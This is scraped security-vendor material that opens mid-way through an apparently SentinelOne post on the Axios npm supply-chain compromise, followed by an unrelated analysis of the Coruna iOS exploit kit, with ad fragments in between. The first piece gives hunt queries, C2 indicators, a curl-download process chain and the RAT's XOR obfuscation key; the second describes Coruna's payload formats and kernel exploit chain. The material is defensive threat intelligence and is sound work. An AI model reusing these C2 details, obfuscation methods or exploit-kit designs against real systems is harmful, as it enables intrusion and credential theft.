The operational sophistication was striking. The attacker pre-staged a clean version of plain-crypto-js 18 hours before detonation to evade novelty-based detection. Publication occurred just after midnight UTC on a Sunday to maximize the response window. The malware self-deleted after execution, swapping its malicious package.json for a clean stub, leaving forensic evidence only in lockfiles and audit logs.
Most critically, Axios had adopted OIDC Trusted Publishing, the post-Shai-Hulud hardening measure npm promoted as the solution to credential-based attacks. But the OIDC configuration coexisted with a long-lived npm access token. npm’s authentication logic prioritizes environment variable tokens over OIDC when both are present. The attacker stole the legacy token and bypassed every modern control the project had in place.
The issue is architectural: security controls that coexist with the mechanisms they are meant to replace provide a false sense of protection. Axios had Trusted Publishing, SLSA provenance, and GitHub Actions workflows. None of it mattered because the old key was still under the mat.
How SentinelOne Is Protecting Customers
Behavioral Detection via the Lunar Engine
SentinelOne’s Lunar behavioral engine detects the renamed binary execution technique central to the Windows attack chain, in which PowerShell is copied to %PROGRAMDATA%\wt.exe and executed under a disguised process. The RenamedBinExecution logic catches this behavior regardless of the specific payload hash, providing durable detection against variants.
Global Hash Blocklist
All known stage payloads, malicious npm package tarballs, and RAT binaries across Windows, macOS, and Linux have been added to the SentinelOne Cloud blocklist with a globally blocked reputation status. This provides immediate protection for all customers with cloud-connected agents.
Wayfinder Threat Hunting
The Wayfinder Threat Hunting team executed proactive hunts across all MDR regions and operating systems using Axios-specific IOCs, including DNS queries to sfrclak[.]com, file artifacts (com.apple.act.mond, /tmp/ld.py, wt.exe), and consolidated hash sets. All true positive findings generate console alerts, with MDR customers receiving direct analyst engagement and escalation.
Sustained Research on This Threat Actor
SentinelLABS has tracked BlueNoroff, the DPRK-linked threat cluster with significant overlap to UNC1069, across multiple campaigns targeting macOS and credential theft operations. The WAVESHAPER.V2 macOS binary recovered from the Axios compromise carries the internal project name “macWebT,” a direct lineage marker to BlueNoroff’s documented webT module. SentinelLABS published detailed analysis of this tooling family in 2023 when RustBucket first emerged as a macOS-targeted campaign, and again in 2024 when BlueNoroff shifted to fake cryptocurrency news as a delivery mechanism with novel persistence techniques.
The initial access vector matters here, too. In March 2026, Google Threat Intelligence reported that UNC1069 leverages ClickFix, a social engineering technique that weaponizes user verification fatigue, as an initial access vector for credential harvesting. SentinelLABS had already published a detailed analysis of ClickFix techniques and their use in delivering RATs and infostealers before Google’s attribution dropped.
The behavioral detections that caught the Axios compromise were built on this accumulated intelligence, not written after the fact.
Live Security Updates (LSU)
Customers with LSU enabled receive real-time detection updates without waiting for agent releases, ensuring coverage evolves as fast as the threat intelligence does. This is critical for rapidly evolving supply chain campaigns where new IOCs emerge hourly.
What You Should Do Now
Supply chain compromise exploits the inherent trust enterprises place in their software delivery infrastructure. When that trust is weaponized by a state-level actor, the response must be both immediate and structural.
Audit and contain. Search all environments for axios@1.14.1 and axios@0.30.4. Treat any system that installed either version during the exposure window as fully compromised. Rebuild from known-good images rather than attempting in-place cleanup.
Rotate every credential the endpoint could reach. npm tokens, SSH keys, CI/CD secrets, cloud provider keys, and API tokens accessible from impacted systems must be rotated immediately. The RAT was designed to harvest exactly these credential types.
Pin dependencies and enforce lockfiles. Use npm ci (not npm install) in all CI/CD pipelines. Commit and audit lockfiles. Organizations using strict lockfile discipline were protected even during the three-hour exposure window. This is the single most actionable control.
Eliminate legacy npm tokens. Inventory all long-lived tokens across the organization. Migrate to OIDC Trusted Publishing and revoke legacy tokens entirely. Do not leave them as fallbacks. The coexistence of old and new authentication is what this attack exploited.
Harden detection policy. Ensure Behavioral AI and Documents & Scripts engines are set to Protect (On Execute). Avoid broad exclusions for developer tools like node.exe or npm. Enable LSU for real-time detection updates.
Extend endpoint coverage to developer workstations and CI runners. These environments have access to production secrets, deployment credentials, and code signing infrastructure. They are typically less monitored than production servers. DPRK has recognized this asymmetry and is systematically exploiting it.
Hunt proactively. Use Deep Visibility to search for DNS queries to sfrclak[.]com, connections to 142.11.206[.]73, and the presence of plain-crypto-js in any node_modules directory. SentinelOne’s 2025 Annual Threat Report documents how supply chain attacks are part of a broader pattern where adversaries are “shifting left” to subvert the build process itself, compromising software before it ever reaches production.
Practitioner Investigative Guide
In addition to the strategic recommendations above, here are some specific queries, file paths, and commands you can execute now to protect your environment.
Determine Blast Radius
Your first job is to answer one question: did any system in my environment pull a compromised Axios version during the March 31 exposure window (00:21 – 03:25 UTC)?
In the SentinelOne Console:
Open the Wayfinder alert queue. Look for the alert name “Axios NPM Supply Chain Compromise” (Wayfinder retroactive rule). If these alerts are not visible under default filters, switch the alert type from “EDR” to “All”, as these surface as Custom/STAR alerts.
For each alert, review the Storyline and process tree. The typical chain looks like this:
Developer process (VS Code, Electron, Node, Yarn, npx) → node → setup.js under plain-crypto-js → curl download from sfrclak[.]com:8000/6202033 → OS-specific payload execution
Classify the affected asset: developer workstation, CI/CD runner, or production server. This drives urgency. Shared CI runners imply wider blast radius because multiple teams and credential sets may be exposed.
Deep Visibility / Event Search hunts to run immediately:
What You’re Looking For
Query Pattern
C2 DNS resolution
#dns contains:anycase 'sfrclak.com'
C2 IP connection
#ip contains '142.11.206.73'
Malicious dependency on disk
File path contains
node_modules/plain-crypto-js/ or */plain-crypto-js/setup.js
macOS RAT binary
File path: /Library/Caches/com.apple.act.mond
Linux loader
File path: /tmp/ld.py
Windows payload
File path: %PROGRAMDATA%\wt.exe
Renamed PowerShell execution
Lunar detection: RenamedBinExecution
Run hash hunts against consolidated IOC lists even if the global blocklist is already active. Historic hits help you quantify which systems were exposed and when.
Contain and Kill
For every system with confirmed Axios-related activity:
Mark the Storyline as Threat in the SentinelOne Console. Confirm that remediation commands (Kill + Quarantine) executed successfully.
Network-isolate the endpoint if the C2 connection succeeded (outbound to sfrclak[.]com or 142.11.206[.]73). Check for any secondary tooling or persistence beyond the initial RAT.
Block at the perimeter. Add the following to your firewall, proxy, and DNS blocklists:
Domain: sfrclak[.]com
IP: 142.11.206[.]73
Port: 8000
Check for persistence mechanisms:
Windows: Registry key “Microsoft Update” (used by the RAT for persistence), presence of 6202033.vbs or 6202033.ps1
macOS: Any process spawned from /Library/Caches/com.apple.act.mond, AppleScript execution from /var/folders/.../6202033
Linux: Active python3 processes running /tmp/ld.py, nohup wrappers
Credential Rotation and Dependency Cleanup
Assume every credential accessible from a confirmed-compromised endpoint is stolen. The RAT was built to harvest them.
Credential rotation checklist:
npm access tokens (revoke and reissue)
SSH keys (regenerate keypairs, update authorized_keys on all targets)
Git signing keys and code signing certificates if accessible from the endpoint
Dependency cleanup (all environments):
Pin Axios to known-good versions: axios@1.14.0 (1.x branch) or axios@0.30.3 (legacy branch)
Delete node_modules/plain-crypto-js/ wherever it exists
Run npm cache clean --force (or equivalent for Yarn/pnpm) on all affected build environments
Reinstall cleanly using npm ci --ignore-scripts during the cleanup period to prevent any other postinstall hooks from executing
Audit your package-lock.json / yarn.lock / pnpm-lock.yaml for any reference to plain-crypto-js. Its presence in a lockfile is a forensic indicator that the compromised version was resolved, even if the malware self-deleted.
Harden and Validate
Policy hardening:
Confirm Behavioral AI engine is set to Protect (On Execute), not Detect-only
Confirm Documents & Scripts engine is set to Protect (On Execute)
Review and remove any broad exclusions for node.exe, npm, yarn, python3, or developer IDEs
Verify LSU (Live Security Updates) is enabled. Customers on Fed/OnPrem environments without LSU access should confirm they are on the latest Service Pack
Confirm the SentinelOne agent is deployed on all developer workstations and CI/CD runners, not just production servers
Validation sweep:
Run a full disk scan on every endpoint that was in the blast radius
Verify no new users, services, or scheduled tasks were created during the exposure window
Confirm that network blocks for C2 infrastructure are active and logging hits
Re-run the Deep Visibility hunts from Hour 0-1 to verify no new activity has appeared
Key IOC Reference Card
Keep this card accessible for your team during the response.
Malicious packages:
Package
SHA-1
axios@1.14.1
2553649f2322049666871cea80a5d0d6adc700ca
axios@0.30.4
d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71
plain-crypto-js@4.2.1
07d889e2dadce6f3910dcbc253317d28ca61c766
C2 infrastructure:
Indicator
Value
Domain
sfrclak[.]com
IP
142.11.206[.]73
Port
8000
URL pattern
hxxp[://]sfrclak[.]com:8000/6202033
RAT User-Agent
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)
File artifacts by OS:
OS
Artifact
Path
macOS
RAT binary
/Library/Caches/com.apple.act.mond
macOS
Temp script
/var/folders/.../6202033
Windows
Renamed PowerShell
%PROGRAMDATA%\wt.exe
Windows
Stage 1
system.bat
Windows
Stage 2
6202033.ps1
Windows
VBS launcher
6202033.vbs
Linux
Python loader
/tmp/ld.py
RAT beacon behavior: HTTP POST every 60 seconds, Base64-encoded JSON, two-layer obfuscation (reversed Base64 + XOR with key OrDeR_7077, constant 333). The IE8/Windows XP User-Agent string is anachronistic and serves as a strong network-level detection indicator.
SentinelLABS Expanded Indicators:
Indicator
Value
Note
Email
nrwise@proton[.]me
Involved in supply chain compromise.
Email
ifstap@proton[.]me
Involved in supply chain compromise.
Domain
callnrwise[.]com
Domain overlaps with email scheme and infrastructure design from confirmed C2 domain.
Domain
focusrecruitment[.]careers
Overlapping domain registration details and timeline. Medium Confidence
Domain
chickencoinwin[.]website
Overlapping domain registration details and timeline. Medium Confidence
The Structural Problem Is Bigger Than Axios
The progression from event-stream (2018, individual actor) to Shai-Hulud (2025, self-replicating worm across 500+ packages) to Axios (2026, DPRK state actor with multi-vendor attribution from SentinelOne, Google, and Microsoft) is not a series of isolated incidents. It is a clear escalation in adversary sophistication and strategic intent. North Korean threat actors stole $2.02 billion in cryptocurrency in 2025 alone, a 51% increase year-over-year, and the Axios RAT harvests exactly the credential types that feed that revenue pipeline.
Developer environments are now a Tier 1 attack surface. The organizations that treat them as anything less are operating with a structural blind spot that state-level adversaries have already mapped.
SentinelOne’s Autonomous Security Intelligence framework delivers what this moment requires: AI-native protection that detects and contains threats at machine speed, human expertise through Wayfinder MDR that translates alerts into confident action, and a unified platform that eliminates the fragmented visibility where supply chain attacks hide. When the next three-hour window opens, the question is whether your defense moves faster than the attacker. With SentinelOne, it does.
Disclaimer: All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third party.
Expose the AI & Cloud Secrets That Put Your Data & Systems at Risk
This report draws on 11K+ customer environments. It shows how AI and cloud adoption are increasing secrets exposure and putting data at risk.
Security researchers at Google on Tuesday released a report describing what they’re calling “Coruna,” a highly sophisticated iPhone hacking toolkit that includes five complete hacking techniques capable of bypassing all the defenses of an iPhone to silently install malware on a device when it visits a website containing the exploitation code. In total, Coruna takes advantage of 23 distinct vulnerabilities in iOS, a rare collection of hacking components that suggests it was created by a well-resourced, likely state-sponsored group of hackers...
On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.
Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).
Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.
During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.
Attack chain of Operation Triangulation (simplified)
Attack chain of Coruna (simplified)
Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.
Technical details
While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.
Safari
Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.
Payload
The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.
First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.
The file format used by the exploit kit to store compressed data
Offset
Field
0x00
Magic number (0xBEDF00D)
0x04
Decompressed data size
0x08
LZMA-compressed data
The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.
The file format used by the exploit kit to store files
Offset
Field
0x00
Magic number (0xF00DBEEF)
0x04
Number of entries
0x08
Entry[0].File ID
0x0C
Entry[0].Status
0x10
Entry[0].File offset
0x14
Entry[0].File size
We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.
Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.
The file format used by the exploit kit to store information about file packages
Offset
Field
0x00
Magic number (0x12345678)
0x04
Flags
0x08
Directory path
0x108
Number of entries
0x10C
Entry[0].Package ID
0x110
Entry[0].ChaCha20 key
0x130
Entry[0].File name
The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:
0xF2 – exploit for ARM64,
0xF3 – exploit for ARM64E,
0xA2 – Mach-O loader for ARM64,
0xA3 – Mach-O loader for ARM64E,
2 – implant for ARM64,
0xE2 – implant for ARM64E.
The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.
Other bytes of the Package ID define the supported firmware version and CPU generation.
Some of the observed Package IDs (those with unique content)
Package ID
Description
0xF3300000
Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000
Kernel exploit (iOS < 14.7) and other components
0xF3700000
Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000
Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000
Kernel exploit (iOS < 17.2) and other components
0xA3030000
Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000
Mach-O loader (iOS 16.0 – 16.4)
The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.
Observed File IDs
File ID
Description
0x10000
Implant
0x50000
Mach-O loader (default)
0x70000
List of additional components
0x70005
Launcher config
0x80000
Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000
Kernel exploit
0x90001
Kernel exploit (for Mach-O loader)
0xA0000
Logs cleaner
0xA0001
Mach-O loader component
0xA0002
Mach-O loader component
0xF0000
RPC stager
After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.
Kernel exploits
We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:
The code takes into account more values from XNU version strings, allowing for more accurate version checking.
Added a check for iOS 17.2. We assume that this was the latest version of iOS at the time of development (released in December 2023).
Added checks for newer Apple processors: A17, M3, M3 Pro, M3 Max (released in fall 2023).
Added a check for iOS version 16.5 beta 4. This version patched the exploit after our report to Apple.
Why does the exploit need to check for iOS 17.2 and newer CPUs if the targeted vulnerabilities were fixed in iOS 16.5 beta 4? The answer can be found by examining other exploits: they are all based on the same source code. The only difference is in the vulnerabilities they exploit, so these checks were added to support the newer exploits and appeared in the older version after recompilation.
Launcher
The launcher is responsible for orchestrating the post-exploitation activities. It also uses the kernel exploit and the interface it provides. However, since the exploit creates special kernel objects during its execution that provide the ability to read and write to kernel memory, the launcher simply reuses these objects without the need to trigger vulnerabilities and go through the entire exploitation path again. The launcher cleans up exploitation artifacts, retrieves the process name for injection from a config with the 0xDEADD00F magic number, injects a stager into the target process, uses it to execute itself, and launches the implant.
Conclusions
This case demonstrates once again the dangers associated with such malicious tools that lie in their potential wide usage. Originally developed for cyber-espionage purposes, this framework is now being used by cybercriminals of a broader kind, placing millions of users with unpatched devices at risk. Given its modular design and ease of reuse, we expect that other threat actors will begin incorporating it into their attacks. We strongly recommend that users install the latest security updates as soon as possible, if they have not already done so.
Entrar
Platform. ASI runs on-device at the edge as part of the core architecture. It is already running when the attack starts, killing the process before the threat can escalate.
